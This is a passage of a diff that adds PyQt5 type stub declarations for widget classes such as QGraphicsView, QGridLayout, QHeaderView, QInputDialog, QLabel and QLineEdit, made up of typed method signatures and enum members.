@typing.overload + def centerOn(self, ax: float, ay: float) -> None: ... + def translate(self, dx: float, dy: float) -> None: ... + def shear(self, sh: float, sv: float) -> None: ... + def scale(self, sx: float, sy: float) -> None: ... + def rotate(self, angle: float) -> None: ... + @typing.overload + def setSceneRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setSceneRect(self, ax: float, ay: float, aw: float, ah: float) -> None: ... + def sceneRect(self) -> QtCore.QRectF: ... + def setScene(self, scene: QGraphicsScene) -> None: ... + def scene(self) -> QGraphicsScene: ... + def setInteractive(self, allowed: bool) -> None: ... + def isInteractive(self) -> bool: ... + def resetCachedContent(self) -> None: ... + def setCacheMode(self, mode: typing.Union['QGraphicsView.CacheMode', 'QGraphicsView.CacheModeFlag']) -> None: ... + def cacheMode(self) -> 'QGraphicsView.CacheMode': ... + def setDragMode(self, mode: 'QGraphicsView.DragMode') -> None: ... + def dragMode(self) -> 'QGraphicsView.DragMode': ... + def setResizeAnchor(self, anchor: 'QGraphicsView.ViewportAnchor') -> None: ... + def resizeAnchor(self) -> 'QGraphicsView.ViewportAnchor': ... + def setTransformationAnchor(self, anchor: 'QGraphicsView.ViewportAnchor') -> None: ... + def transformationAnchor(self) -> 'QGraphicsView.ViewportAnchor': ... + def setAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def setRenderHints(self, hints: typing.Union[QtGui.QPainter.RenderHints, QtGui.QPainter.RenderHint]) -> None: ... + def setRenderHint(self, hint: QtGui.QPainter.RenderHint, on: bool = ...) -> None: ... + def renderHints(self) -> QtGui.QPainter.RenderHints: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QGridLayout(QLayout): + + @typing.overload + def __init__(self, parent: QWidget) -> None: ... + @typing.overload + def __init__(self) -> None: ... + + def itemAtPosition(self, row: int, column: int) -> QLayoutItem: ... + def spacing(self) -> int: ... + def setSpacing(self, spacing: int) -> None: ... + def verticalSpacing(self) -> int: ... + def setVerticalSpacing(self, spacing: int) -> None: ... + def horizontalSpacing(self) -> int: ... + def setHorizontalSpacing(self, spacing: int) -> None: ... + def getItemPosition(self, idx: int) -> typing.Tuple[int, int, int, int]: ... + def setDefaultPositioning(self, n: int, orient: QtCore.Qt.Orientation) -> None: ... + @typing.overload + def addItem(self, item: QLayoutItem, row: int, column: int, rowSpan: int = ..., columnSpan: int = ..., alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + @typing.overload + def addItem(self, a0: QLayoutItem) -> None: ... + def setGeometry(self, a0: QtCore.QRect) -> None: ... + def count(self) -> int: ... + def takeAt(self, a0: int) -> QLayoutItem: ... + def itemAt(self, a0: int) -> QLayoutItem: ... + def originCorner(self) -> QtCore.Qt.Corner: ... + def setOriginCorner(self, a0: QtCore.Qt.Corner) -> None: ... + @typing.overload + def addLayout(self, a0: QLayout, row: int, column: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + @typing.overload + def addLayout(self, a0: QLayout, row: int, column: int, rowSpan: int, columnSpan: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + @typing.overload + def addWidget(self, w: QWidget) -> None: ... + @typing.overload + def addWidget(self, a0: QWidget, row: int, column: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + @typing.overload + def addWidget(self, a0: QWidget, row: int, column: int, rowSpan: int, columnSpan: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + def invalidate(self) -> None: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def minimumHeightForWidth(self, a0: int) -> int: ... + def heightForWidth(self, a0: int) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def cellRect(self, row: int, column: int) -> QtCore.QRect: ... + def rowCount(self) -> int: ... + def columnCount(self) -> int: ... + def columnMinimumWidth(self, column: int) -> int: ... + def rowMinimumHeight(self, row: int) -> int: ... + def setColumnMinimumWidth(self, column: int, minSize: int) -> None: ... + def setRowMinimumHeight(self, row: int, minSize: int) -> None: ... + def columnStretch(self, column: int) -> int: ... + def rowStretch(self, row: int) -> int: ... + def setColumnStretch(self, column: int, stretch: int) -> None: ... + def setRowStretch(self, row: int, stretch: int) -> None: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QGroupBox(QWidget): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, title: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def mouseReleaseEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, event: QtGui.QMouseEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def childEvent(self, a0: QtCore.QChildEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOptionGroupBox') -> None: ... + def toggled(self, a0: bool) -> None: ... + def clicked(self, checked: bool = ...) -> None: ... + def setChecked(self, b: bool) -> None: ... + def isChecked(self) -> bool: ... + def setCheckable(self, b: bool) -> None: ... + def isCheckable(self) -> bool: ... + def setFlat(self, b: bool) -> None: ... + def isFlat(self) -> bool: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def setAlignment(self, a0: int) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def setTitle(self, a0: str) -> None: ... + def title(self) -> str: ... + + +class QHeaderView(QAbstractItemView): + + class ResizeMode(int): + Interactive = ... # type: QHeaderView.ResizeMode + Fixed = ... # type: QHeaderView.ResizeMode + Stretch = ... # type: QHeaderView.ResizeMode + ResizeToContents = ... # type: QHeaderView.ResizeMode + Custom = ... # type: QHeaderView.ResizeMode + + def __init__(self, orientation: QtCore.Qt.Orientation, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isFirstSectionMovable(self) -> bool: ... + def setFirstSectionMovable(self, movable: bool) -> None: ... + def resetDefaultSectionSize(self) -> None: ... + def setMaximumSectionSize(self, size: int) -> None: ... + def maximumSectionSize(self) -> int: ... + def resizeContentsPrecision(self) -> int: ... + def setResizeContentsPrecision(self, precision: int) -> None: ... + def setVisible(self, v: bool) -> None: ... + @typing.overload + def setSectionResizeMode(self, logicalIndex: int, mode: 'QHeaderView.ResizeMode') -> None: ... + @typing.overload + def setSectionResizeMode(self, mode: 'QHeaderView.ResizeMode') -> None: ... + def sectionResizeMode(self, logicalIndex: int) -> 'QHeaderView.ResizeMode': ... + def sectionsClickable(self) -> bool: ... + def setSectionsClickable(self, clickable: bool) -> None: ... + def sectionsMovable(self) -> bool: ... + def setSectionsMovable(self, movable: bool) -> None: ... + def initStyleOption(self, option: 'QStyleOptionHeader') -> None: ... + def sortIndicatorChanged(self, logicalIndex: int, order: QtCore.Qt.SortOrder) -> None: ... + def sectionEntered(self, logicalIndex: int) -> None: ... + def setOffsetToLastSection(self) -> None: ... + def reset(self) -> None: ... + def restoreState(self, state: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def saveState(self) -> QtCore.QByteArray: ... + def setMinimumSectionSize(self, size: int) -> None: ... + def minimumSectionSize(self) -> int: ... + def setCascadingSectionResizes(self, enable: bool) -> None: ... + def cascadingSectionResizes(self) -> bool: ... + def swapSections(self, first: int, second: int) -> None: ... + def sectionsHidden(self) -> bool: ... + def setDefaultAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def defaultAlignment(self) -> QtCore.Qt.Alignment: ... + def setDefaultSectionSize(self, size: int) -> None: ... + def defaultSectionSize(self) -> int: ... + def hiddenSectionCount(self) -> int: ... + def showSection(self, alogicalIndex: int) -> None: ... + def hideSection(self, alogicalIndex: int) -> None: ... + def visualRegionForSelection(self, selection: QtCore.QItemSelection) -> QtGui.QRegion: ... + def setSelection(self, rect: QtCore.QRect, flags: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def moveCursor(self, a0: QAbstractItemView.CursorAction, a1: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> QtCore.QModelIndex: ... + def isIndexHidden(self, index: QtCore.QModelIndex) -> bool: ... + def indexAt(self, p: QtCore.QPoint) -> QtCore.QModelIndex: ... + def scrollTo(self, index: QtCore.QModelIndex, hint: QAbstractItemView.ScrollHint) -> None: ... + def visualRect(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def rowsInserted(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def dataChanged(self, topLeft: QtCore.QModelIndex, bottomRight: QtCore.QModelIndex, roles: typing.Iterable[int] = ...) -> None: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def updateGeometries(self) -> None: ... + def verticalOffset(self) -> int: ... + def horizontalOffset(self) -> int: ... + def sectionSizeFromContents(self, logicalIndex: int) -> QtCore.QSize: ... + def paintSection(self, painter: QtGui.QPainter, rect: QtCore.QRect, logicalIndex: int) -> None: ... + def mouseDoubleClickEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def viewportEvent(self, e: QtCore.QEvent) -> bool: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def currentChanged(self, current: QtCore.QModelIndex, old: QtCore.QModelIndex) -> None: ... + @typing.overload + def initializeSections(self) -> None: ... + @typing.overload + def initializeSections(self, start: int, end: int) -> None: ... + def initialize(self) -> None: ... + def sectionsAboutToBeRemoved(self, parent: QtCore.QModelIndex, logicalFirst: int, logicalLast: int) -> None: ... + def sectionsInserted(self, parent: QtCore.QModelIndex, logicalFirst: int, logicalLast: int) -> None: ... + @typing.overload + def resizeSections(self) -> None: ... + @typing.overload + def resizeSections(self, mode: 'QHeaderView.ResizeMode') -> None: ... + def updateSection(self, logicalIndex: int) -> None: ... + def sectionHandleDoubleClicked(self, logicalIndex: int) -> None: ... + def sectionCountChanged(self, oldCount: int, newCount: int) -> None: ... + def sectionDoubleClicked(self, logicalIndex: int) -> None: ... + def sectionClicked(self, logicalIndex: int) -> None: ... + def sectionPressed(self, logicalIndex: int) -> None: ... + def sectionResized(self, logicalIndex: int, oldSize: int, newSize: int) -> None: ... + def sectionMoved(self, logicalIndex: int, oldVisualIndex: int, newVisualIndex: int) -> None: ... + def geometriesChanged(self) -> None: ... + def setOffsetToSectionPosition(self, visualIndex: int) -> None: ... + def headerDataChanged(self, orientation: QtCore.Qt.Orientation, logicalFirst: int, logicalLast: int) -> None: ... + def setOffset(self, offset: int) -> None: ... + def sectionsMoved(self) -> bool: ... + def setStretchLastSection(self, stretch: bool) -> None: ... + def stretchLastSection(self) -> bool: ... + def sortIndicatorOrder(self) -> QtCore.Qt.SortOrder: ... + def sortIndicatorSection(self) -> int: ... + def setSortIndicator(self, logicalIndex: int, order: QtCore.Qt.SortOrder) -> None: ... + def isSortIndicatorShown(self) -> bool: ... + def setSortIndicatorShown(self, show: bool) -> None: ... + def stretchSectionCount(self) -> int: ... + def highlightSections(self) -> bool: ... + def setHighlightSections(self, highlight: bool) -> None: ... + def logicalIndex(self, visualIndex: int) -> int: ... + def visualIndex(self, logicalIndex: int) -> int: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def setSectionHidden(self, logicalIndex: int, hide: bool) -> None: ... + def isSectionHidden(self, logicalIndex: int) -> bool: ... + def resizeSection(self, logicalIndex: int, size: int) -> None: ... + def moveSection(self, from_: int, to: int) -> None: ... + def sectionViewportPosition(self, logicalIndex: int) -> int: ... + def sectionPosition(self, logicalIndex: int) -> int: ... + def sectionSize(self, logicalIndex: int) -> int: ... + @typing.overload + def logicalIndexAt(self, position: int) -> int: ... + @typing.overload + def logicalIndexAt(self, ax: int, ay: int) -> int: ... + @typing.overload + def logicalIndexAt(self, apos: QtCore.QPoint) -> int: ... + def visualIndexAt(self, position: int) -> int: ... + def sectionSizeHint(self, logicalIndex: int) -> int: ... + def sizeHint(self) -> QtCore.QSize: ... + def length(self) -> int: ... + def offset(self) -> int: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + + +class QInputDialog(QDialog): + + class InputMode(int): + TextInput = ... # type: QInputDialog.InputMode + IntInput = ... # type: QInputDialog.InputMode + DoubleInput = ... # type: QInputDialog.InputMode + + class InputDialogOption(int): + NoButtons = ... # type: QInputDialog.InputDialogOption + UseListViewForComboBoxItems = ... # type: QInputDialog.InputDialogOption + UsePlainTextEditForTextInput = ... # type: QInputDialog.InputDialogOption + + class InputDialogOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QInputDialog.InputDialogOptions', 'QInputDialog.InputDialogOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QInputDialog.InputDialogOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QInputDialog.InputDialogOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def doubleStep(self) -> float: ... + def setDoubleStep(self, step: float) -> None: ... + def doubleValueSelected(self, value: float) -> None: ... + def doubleValueChanged(self, value: float) -> None: ... + def intValueSelected(self, value: int) -> None: ... + def intValueChanged(self, value: int) -> None: ... + def textValueSelected(self, text: str) -> None: ... + def textValueChanged(self, text: str) -> None: ... + def done(self, result: int) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def cancelButtonText(self) -> str: ... + def setCancelButtonText(self, text: str) -> None: ... + def okButtonText(self) -> str: ... + def setOkButtonText(self, text: str) -> None: ... + def doubleDecimals(self) -> int: ... + def setDoubleDecimals(self, decimals: int) -> None: ... + def setDoubleRange(self, min: float, max: float) -> None: ... + def doubleMaximum(self) -> float: ... + def setDoubleMaximum(self, max: float) -> None: ... + def doubleMinimum(self) -> float: ... + def setDoubleMinimum(self, min: float) -> None: ... + def doubleValue(self) -> float: ... + def setDoubleValue(self, value: float) -> None: ... + def intStep(self) -> int: ... + def setIntStep(self, step: int) -> None: ... + def setIntRange(self, min: int, max: int) -> None: ... + def intMaximum(self) -> int: ... + def setIntMaximum(self, max: int) -> None: ... + def intMinimum(self) -> int: ... + def setIntMinimum(self, min: int) -> None: ... + def intValue(self) -> int: ... + def setIntValue(self, value: int) -> None: ... + def comboBoxItems(self) -> typing.List[str]: ... + def setComboBoxItems(self, items: typing.Iterable[str]) -> None: ... + def isComboBoxEditable(self) -> bool: ... + def setComboBoxEditable(self, editable: bool) -> None: ... + def textEchoMode(self) -> 'QLineEdit.EchoMode': ... + def setTextEchoMode(self, mode: 'QLineEdit.EchoMode') -> None: ... + def textValue(self) -> str: ... + def setTextValue(self, text: str) -> None: ... + def options(self) -> 'QInputDialog.InputDialogOptions': ... + def setOptions(self, options: typing.Union['QInputDialog.InputDialogOptions', 'QInputDialog.InputDialogOption']) -> None: ... + def testOption(self, option: 'QInputDialog.InputDialogOption') -> bool: ... + def setOption(self, option: 'QInputDialog.InputDialogOption', on: bool = ...) -> None: ... + def labelText(self) -> str: ... + def setLabelText(self, text: str) -> None: ... + def inputMode(self) -> 'QInputDialog.InputMode': ... + def setInputMode(self, mode: 'QInputDialog.InputMode') -> None: ... + @staticmethod + def getMultiLineText(parent: QWidget, title: str, label: str, text: str = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ..., inputMethodHints: typing.Union[QtCore.Qt.InputMethodHints, QtCore.Qt.InputMethodHint] = ...) -> typing.Tuple[str, bool]: ... + @staticmethod + def getItem(parent: QWidget, title: str, label: str, items: typing.Iterable[str], current: int = ..., editable: bool = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ..., inputMethodHints: typing.Union[QtCore.Qt.InputMethodHints, QtCore.Qt.InputMethodHint] = ...) -> typing.Tuple[str, bool]: ... + @typing.overload + @staticmethod + def getDouble(parent: QWidget, title: str, label: str, value: float = ..., min: float = ..., max: float = ..., decimals: int = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> typing.Tuple[float, bool]: ... + @typing.overload + @staticmethod + def getDouble(parent: QWidget, title: str, label: str, value: float, minValue: float, maxValue: float, decimals: int, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType], step: float) -> typing.Tuple[float, bool]: ... + @staticmethod + def getInt(parent: QWidget, title: str, label: str, value: int = ..., min: int = ..., max: int = ..., step: int = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> typing.Tuple[int, bool]: ... + @staticmethod + def getText(parent: QWidget, title: str, label: str, echo: 'QLineEdit.EchoMode' = ..., text: str = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ..., inputMethodHints: typing.Union[QtCore.Qt.InputMethodHints, QtCore.Qt.InputMethodHint] = ...) -> typing.Tuple[str, bool]: ... + + +class QItemDelegate(QAbstractItemDelegate): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def editorEvent(self, event: QtCore.QEvent, model: QtCore.QAbstractItemModel, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> bool: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def drawFocus(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', rect: QtCore.QRect) -> None: ... + def drawDisplay(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', rect: QtCore.QRect, text: str) -> None: ... + def drawDecoration(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', rect: QtCore.QRect, pixmap: QtGui.QPixmap) -> None: ... + def drawCheck(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', rect: QtCore.QRect, state: QtCore.Qt.CheckState) -> None: ... + def drawBackground(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + def setClipping(self, clip: bool) -> None: ... + def hasClipping(self) -> bool: ... + def setItemEditorFactory(self, factory: 'QItemEditorFactory') -> None: ... + def itemEditorFactory(self) -> 'QItemEditorFactory': ... + def updateEditorGeometry(self, editor: QWidget, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + def setModelData(self, editor: QWidget, model: QtCore.QAbstractItemModel, index: QtCore.QModelIndex) -> None: ... + def setEditorData(self, editor: QWidget, index: QtCore.QModelIndex) -> None: ... + def createEditor(self, parent: QWidget, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> QWidget: ... + def sizeHint(self, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> QtCore.QSize: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + + +class QItemEditorCreatorBase(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QItemEditorCreatorBase') -> None: ... + + def valuePropertyName(self) -> QtCore.QByteArray: ... + def createWidget(self, parent: QWidget) -> QWidget: ... + + +class QItemEditorFactory(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QItemEditorFactory') -> None: ... + + @staticmethod + def setDefaultFactory(factory: 'QItemEditorFactory') -> None: ... + @staticmethod + def defaultFactory() -> 'QItemEditorFactory': ... + def registerEditor(self, userType: int, creator: QItemEditorCreatorBase) -> None: ... + def valuePropertyName(self, userType: int) -> QtCore.QByteArray: ... + def createEditor(self, userType: int, parent: QWidget) -> QWidget: ... + + +class QKeyEventTransition(QtCore.QEventTransition): + + @typing.overload + def __init__(self, sourceState: typing.Optional[QtCore.QState] = ...) -> None: ... + @typing.overload + def __init__(self, object: QtCore.QObject, type: QtCore.QEvent.Type, key: int, sourceState: typing.Optional[QtCore.QState] = ...) -> None: ... + + def eventTest(self, event: QtCore.QEvent) -> bool: ... + def onTransition(self, event: QtCore.QEvent) -> None: ... + def setModifierMask(self, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + def modifierMask(self) -> QtCore.Qt.KeyboardModifiers: ... + def setKey(self, key: int) -> None: ... + def key(self) -> int: ... + + +class QKeySequenceEdit(QWidget): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, keySequence: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int], parent: typing.Optional[QWidget] = ...) -> None: ... + + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def keyReleaseEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def keySequenceChanged(self, keySequence: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + def editingFinished(self) -> None: ... + def clear(self) -> None: ... + def setKeySequence(self, keySequence: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + def keySequence(self) -> QtGui.QKeySequence: ... + + +class QLabel(QFrame): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def selectionStart(self) -> int: ... + def selectedText(self) -> str: ... + def hasSelectedText(self) -> bool: ... + def setSelection(self, a0: int, a1: int) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def focusOutEvent(self, ev: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, ev: QtGui.QFocusEvent) -> None: ... + def contextMenuEvent(self, ev: QtGui.QContextMenuEvent) -> None: ... + def mouseReleaseEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def keyPressEvent(self, ev: QtGui.QKeyEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def linkHovered(self, link: str) -> None: ... + def linkActivated(self, link: str) -> None: ... + def setText(self, a0: str) -> None: ... + def setPixmap(self, a0: QtGui.QPixmap) -> None: ... + def setPicture(self, a0: QtGui.QPicture) -> None: ... + @typing.overload + def setNum(self, a0: float) -> None: ... + @typing.overload + def setNum(self, a0: int) -> None: ... + def setMovie(self, movie: QtGui.QMovie) -> None: ... + def clear(self) -> None: ... + def setOpenExternalLinks(self, open: bool) -> None: ... + def textInteractionFlags(self) -> QtCore.Qt.TextInteractionFlags: ... + def setTextInteractionFlags(self, flags: typing.Union[QtCore.Qt.TextInteractionFlags, QtCore.Qt.TextInteractionFlag]) -> None: ... + def openExternalLinks(self) -> bool: ... + def heightForWidth(self, a0: int) -> int: ... + def buddy(self) -> QWidget: ... + def setBuddy(self, a0: QWidget) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def setScaledContents(self, a0: bool) -> None: ... + def hasScaledContents(self) -> bool: ... + def setMargin(self, a0: int) -> None: ... + def margin(self) -> int: ... + def setIndent(self, a0: int) -> None: ... + def indent(self) -> int: ... + def wordWrap(self) -> bool: ... + def setWordWrap(self, on: bool) -> None: ... + def setAlignment(self, a0: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def setTextFormat(self, a0: QtCore.Qt.TextFormat) -> None: ... + def textFormat(self) -> QtCore.Qt.TextFormat: ... + def movie(self) -> QtGui.QMovie: ... + def picture(self) -> QtGui.QPicture: ... + def pixmap(self) -> QtGui.QPixmap: ... + def text(self) -> str: ... + + +class QSpacerItem(QLayoutItem): + + @typing.overload + def __init__(self, w: int, h: int, hPolicy: 'QSizePolicy.Policy' = ..., vPolicy: 'QSizePolicy.Policy' = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QSpacerItem') -> None: ... + + def sizePolicy(self) -> 'QSizePolicy': ... + def spacerItem(self) -> 'QSpacerItem': ... + def geometry(self) -> QtCore.QRect: ... + def setGeometry(self, a0: QtCore.QRect) -> None: ... + def isEmpty(self) -> bool: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def changeSize(self, w: int, h: int, hPolicy: 'QSizePolicy.Policy' = ..., vPolicy: 'QSizePolicy.Policy' = ...) -> None: ... + + +class QWidgetItem(QLayoutItem): + + def __init__(self, w: QWidget) -> None: ... + + def controlTypes(self) -> 'QSizePolicy.ControlTypes': ... + def heightForWidth(self, a0: int) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def widget(self) -> QWidget: ... + def geometry(self) -> QtCore.QRect: ... + def setGeometry(self, a0: QtCore.QRect) -> None: ... + def isEmpty(self) -> bool: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QLCDNumber(QFrame): + + class SegmentStyle(int): + Outline = ... # type: QLCDNumber.SegmentStyle + Filled = ... # type: QLCDNumber.SegmentStyle + Flat = ... # type: QLCDNumber.SegmentStyle + + class Mode(int): + Hex = ... # type: QLCDNumber.Mode + Dec = ... # type: QLCDNumber.Mode + Oct = ... # type: QLCDNumber.Mode + Bin = ... # type: QLCDNumber.Mode + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, numDigits: int, parent: typing.Optional[QWidget] = ...) -> None: ... + + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def overflow(self) -> None: ... + def setSmallDecimalPoint(self, a0: bool) -> None: ... + def setBinMode(self) -> None: ... + def setOctMode(self) -> None: ... + def setDecMode(self) -> None: ... + def setHexMode(self) -> None: ... + @typing.overload + def display(self, str: str) -> None: ... + @typing.overload + def display(self, num: float) -> None: ... + @typing.overload + def display(self, num: int) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def intValue(self) -> int: ... + def value(self) -> float: ... + def setSegmentStyle(self, a0: 'QLCDNumber.SegmentStyle') -> None: ... + def segmentStyle(self) -> 'QLCDNumber.SegmentStyle': ... + def setMode(self, a0: 'QLCDNumber.Mode') -> None: ... + def mode(self) -> 'QLCDNumber.Mode': ... + @typing.overload + def checkOverflow(self, num: float) -> bool: ... + @typing.overload + def checkOverflow(self, num: int) -> bool: ... + def setNumDigits(self, nDigits: int) -> None: ... + def setDigitCount(self, nDigits: int) -> None: ... + def digitCount(self) -> int: ... + def smallDecimalPoint(self) -> bool: ... + + +class QLineEdit(QWidget): + + class ActionPosition(int): + LeadingPosition = ... # type: QLineEdit.ActionPosition + TrailingPosition = ... # type: QLineEdit.ActionPosition + + class EchoMode(int): + Normal = ... # type: QLineEdit.EchoMode + NoEcho = ... # type: QLineEdit.EchoMode + Password = ... # type: QLineEdit.EchoMode + PasswordEchoOnEdit = ... # type: QLineEdit.EchoMode + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, contents: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def inputRejected(self) -> None: ... + def selectionLength(self) -> int: ... + def selectionEnd(self) -> int: ... + @typing.overload + def addAction(self, action: QAction) -> None: ... + @typing.overload + def addAction(self, action: QAction, position: 'QLineEdit.ActionPosition') -> None: ... + @typing.overload + def addAction(self, icon: QtGui.QIcon, position: 'QLineEdit.ActionPosition') -> QAction: ... + def isClearButtonEnabled(self) -> bool: ... + def setClearButtonEnabled(self, enable: bool) -> None: ... + def cursorMoveStyle(self) -> QtCore.Qt.CursorMoveStyle: ... + def setCursorMoveStyle(self, style: QtCore.Qt.CursorMoveStyle) -> None: ... + def setPlaceholderText(self, a0: str) -> None: ... + def placeholderText(self) -> str: ... + def textMargins(self) -> QtCore.QMargins: ... + def getTextMargins(self) -> typing.Tuple[int, int, int, int]: ... + @typing.overload + def setTextMargins(self, left: int, top: int, right: int, bottom: int) -> None: ... + @typing.overload + def setTextMargins(self, margins: QtCore.QMargins) -> None: ... + def completer(self) -> QCompleter: ... + def setCompleter(self, completer: 